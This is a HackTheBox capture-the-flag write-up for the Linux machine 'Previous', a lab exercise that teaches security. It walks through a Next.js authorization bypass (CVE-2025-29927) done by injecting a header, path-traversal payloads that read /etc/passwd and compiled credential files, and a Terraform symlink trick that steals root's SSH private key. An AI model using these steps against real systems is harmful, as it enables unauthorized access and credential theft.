HTB: Previous Writeup
Previous - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Previous |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 7th December 2025 |
| IP Address | 10.10.11.83 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Previous is a medium-difficulty Linux machine showcasing a modern web application vulnerability chain. The attack begins with exploiting CVE-2025-29927, an authorization bypass in Next.js authentication middleware, which grants access to restricted documentation pages. Further enumeration uncovers a Local File Inclusion (LFI) vulnerability that allows extraction of compiled Next.js server files, exposing hardcoded authentication credentials. With SSH access established, privilege escalation is achieved by abusing Terraform’s infrastructure-as-code functionality through insecure variable validation and symbolic link manipulation.
TL;DR: Next.js Auth Bypass → LFI to extract credentials → SSH access → Terraform privilege escalation via symlink exploitation.
Reconnaissance
Port Scanning
# Initial port discoverynmap -p- --min-rate=1000 -T4 10.10.11.83
# Detailed service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.11.83 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.11.83Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1380/tcp open http nginx 1.18.0 (Ubuntu)Service Enumeration
The HTTP service on port 80 redirects to http://previous.htb, indicating a virtual host configuration. The initial page displays a web application with a “Docs” section protected by authentication.
# Add hostname resolutionecho "10.10.11.83 previous.htb" | sudo tee -a /etc/hostsUpon navigating to the /docs endpoint, we encounter a login form. Intercepting the authentication request with Burp Suite reveals distinctive NextAuth cookies:
next-auth.csrf-tokennext-auth.callback-url
Wappalyzer fingerprinting confirms the application runs Next.js version 15.2.2, which is vulnerable to CVE-2025-29927.
Vulnerability Assessment
| Vulnerability | Severity | Type |
|---|---|---|
| CVE-2025-29927 (Next.js Auth Bypass) | Critical | Authorization Bypass |
| Local File Inclusion (LFI) | Critical | Path Traversal |
| Insecure Terraform Validation | High | Privilege Escalation |
Initial Foothold
Exploitation Path: CVE-2025-29927 Authorization Bypass
The Next.js middleware can be bypassed by injecting a specially crafted HTTP header. Configure Burp Suite’s Match and Replace feature to add the following header to all requests:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middlewareWith this header in place, accessing /docs now succeeds, revealing the application’s documentation pages and example files.
Local File Inclusion Discovery
The documentation contains a file download feature with a filename parameter. Testing for LFI:
# Initial test - directory traversal to read /etc/passwd# Modify request parameter: filename=../../../../../etc/passwdThe LFI is confirmed. We proceed to enumerate the application structure:
# Read environment variables to determine working directory# Payload: filename=../../../../../proc/self/environ# Confirm by reading package.json# Payload: filename=../../../../../app/package.jsonExtracting Credentials via Compiled Next.js Files
To locate authentication files, we replicate the target environment locally:
# Create a matching Next.js applicationnpx create-next-app@latestcd my-app
# Install exact versions from targetnpm install next@15.2.2npm install next-auth@4.24.11
# Build the application to generate .next directorynpm run build
# Inspect the compiled outputls -la .next/cat .next/routes-manifest.jsonThe .next/server/pages/ directory contains compiled route handlers. The NextAuth endpoint is typically at .next/server/pages/api/auth/[...nextauth].js. Extracting this file via LFI:
# LFI payload to read compiled NextAuth handler# filename=../../../../../app/.next/server/pages/api/auth/[...nextauth].jsThe response reveals hardcoded credentials:
jeremy:MyNameIsJeremyAndILovePancakesSSH Access
ssh jeremy@10.10.11.83Enter the password when prompted. Retrieve the user flag:
cat /home/jeremy/user.txtPrivilege Escalation
Enumerating Sudo Permissions
sudo -lOutput reveals:
User jeremy may run the following commands on previous: (root) /usr/bin/terraform -chdir\=/opt/examples applyAnalyzing Terraform Configuration
cd /opt/examplescat main.tfThe configuration defines a custom Terraform provider (examples) with a source_path variable:
variable "source_path" { type = string default = "/root/examples/hello-world.ts"
validation { condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") error_message = "The source_path must contain '/root/examples/'." }}The validation enforces:
- The path must contain
/root/examples/ - The path cannot contain
..(prevents directory traversal)
However, this validation can be bypassed by creating a matching directory structure in the user’s home directory.
Bypass via Symbolic Links
The custom provider’s implementation uses ioutil.ReadFile() on the source path and writes to a destination directory. By creating a symlink within an acceptable path structure, we can read arbitrary files as root:
# Create the required directory structurecd /home/jeremy/mkdir -p root/examples
# Create a symbolic link to the root SSH private keyln -s /root/.ssh/id_rsa /home/jeremy/root/examples/id_rsaExecuting Terraform with Custom Variable
# Set the Terraform variable via environment variableexport TF_VAR_source_path=/home/jeremy/root/examples/id_rsa
# Execute terraform apply as rootsudo /usr/bin/terraform -chdir\=/opt/examples applyWhen prompted, enter yes to approve the changes.
Accessing Root SSH Key
The root SSH private key is now copied to a web-accessible location:
cat /home/jeremy/docker/previous/public/examples/id_rsaCopy the key contents to a local file:
# Save the key locally# chmod 600 to set proper permissionschmod 600 id_rsa
# SSH as root using the private keyssh -i id_rsa root@10.10.11.83Retrieve the root flag:
cat /root/root.txtAttack Chain Summary
Nmap Reconnaissance ↓CVE-2025-29927 Authorization Bypass (X-Middleware-Subrequest Header) ↓Local File Inclusion Discovery ↓Extract Compiled Next.js Server Files (.next/server/pages/api/auth/[...nextauth].js) ↓Obtain Credentials (jeremy:MyNameIsJeremyAndILovePancakes) ↓SSH Access as jeremy ↓Enumerate Sudo Permissions (terraform apply) ↓Analyze Terraform Configuration & Validation Logic ↓Create Directory Structure & Symlink to /root/.ssh/id_rsa ↓Set TF_VAR_source_path Environment Variable ↓Execute terraform apply (runs as root) ↓Extract Root SSH Private Key ↓SSH as root & Capture Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service enumeration |
burp-suite | HTTP request interception and header manipulation |
wappalyzer | Web application technology fingerprinting |
curl | HTTP requests for LFI exploitation |
ssh | Remote shell access |
npx/npm | Next.js application replication and analysis |
ln | Symbolic link creation for privilege escalation |
terraform | Infrastructure-as-code exploitation |
Key Learnings
Techniques Practiced
- CVE-2025-29927 exploitation: Middleware bypass via header injection in Next.js applications
- Local File Inclusion (LFI) vulnerability detection and exploitation
- Compiled JavaScript analysis: Understanding Next.js build output structure
- Environment variable manipulation: Using
TF_VAR_*to override Terraform configurations - Symbolic link exploitation: Bypassing path validation through filesystem symlinks
- Infrastructure-as-Code (IaC) security: Identifying privilege escalation vectors in Terraform
Lessons Learned
-
Authentication middleware is not foolproof — Framework-level authentication can be vulnerable to header manipulation. Always validate the version compatibility of security updates.
-
LFI to code execution pipeline — File inclusion vulnerabilities can escalate to credential extraction when the application exposes compiled artifacts or configuration files.
-
Validation logic must be holistic — Path validation that only checks string containment is insufficient. Symbolic links can bypass these checks entirely.
-
Terraform permissions require careful scoping — Allowing
terraform applywith variable override capabilities can lead to arbitrary file operations if validation is inadequate. -
Replicating target environments locally — Building a local instance of the target application revealed critical file paths and compilation artifacts that were essential for exploitation.
-
Defense in depth — Multiple weak controls (weak auth bypass + insecure file handling + inadequate terraform validation) combined to create a complete compromise chain.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>